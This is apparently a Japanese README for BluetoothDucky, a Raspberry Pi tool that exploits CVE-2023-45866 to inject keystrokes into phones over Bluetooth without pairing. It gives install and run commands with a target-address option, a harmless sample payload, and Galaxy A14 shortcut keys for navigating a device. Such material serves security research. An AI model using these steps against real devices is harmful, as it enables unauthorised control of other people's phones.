
CVE-2023-45866のエクスプロイト実装。Raspberry Pi上でDuckyScriptペイロードを使用し、認証なしのBluetoothキーボードインジェクションを可能にします。
CVE-2023-45866 - BluetoothDucky 実装(DuckyScript を使用)
これは marcnewlin によって発見された CVE の実装です [https://github.com/marcnewlin/hi_my_name_is_keyboard]
将来の使用に備えて hid.py ファイルをできるだけ変更しないように、ducky_convert.py を作成しました。
いくつかのペイロードアイデアについてはまだ作業中です。
Raspberry Pi 4 のデフォルトの Bluetooth モジュールを使用して実行しています。友達が持っているすべてのスマートフォンでテストしましたが、動作します。唯一見つけた問題は、Vodafone というニュージーランドの携帯電話ブランドで、デフォルトでブロックされることです(ペアリングを要求されます)。その電話は何年も電源を入れていないのにです。最もセキュアなのがそれというのは笑えます。
すべての Ducky 関連の用語・表現に合わせて調整する必要がありますが、テスト用のデバイスが限られています。
REM this is just a comment
string test123
ENTER
これでテキストフィールドに test123 が入力され、ENTER が押されます。
手伝いたい人のためにこのコードを公開しています。
インストール手順(marcnewlin から拝借)
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
その後、単純に
git clone https://github.com/pentestfunctions/BluetoothDucky
cd BluetoothDucky
sudo python3 BluetoothDucky.py -i hci0 -t 00:00:00:00:00:00
sudo python3 BluetoothDucky.py --scan
同じディレクトリ内の payload.txt ファイルを探します。これは単純な ducky script で構いません。このリポジトリに含まれている簡単なものを試して始めてください。
送信したペイロード行の最後の文字を確認するステップ関数を実装し、失敗時に全体ではなくその行から再送信・続行できるようにする
Galaxy A14/SM-A14F
GUI + D (デスクトップ)
GUI + E (メール)
GUI + F (検索)
GUI + H (Samsung オーディオ?)
GUI + K (カレンダー)
GUI + M (マップ)
GUI + N (通知)
GUI + T (ミュージック?)
GUI + Q (全通知)
GUI + R (最近のファイル)
GUI + S (メッセージ?)
GUI + U (アクセシビリティ)
GUI + V (ボリューム)
GUI + Z (設定)
ALT + A (アプリドロワー)
Alt + Space (検索)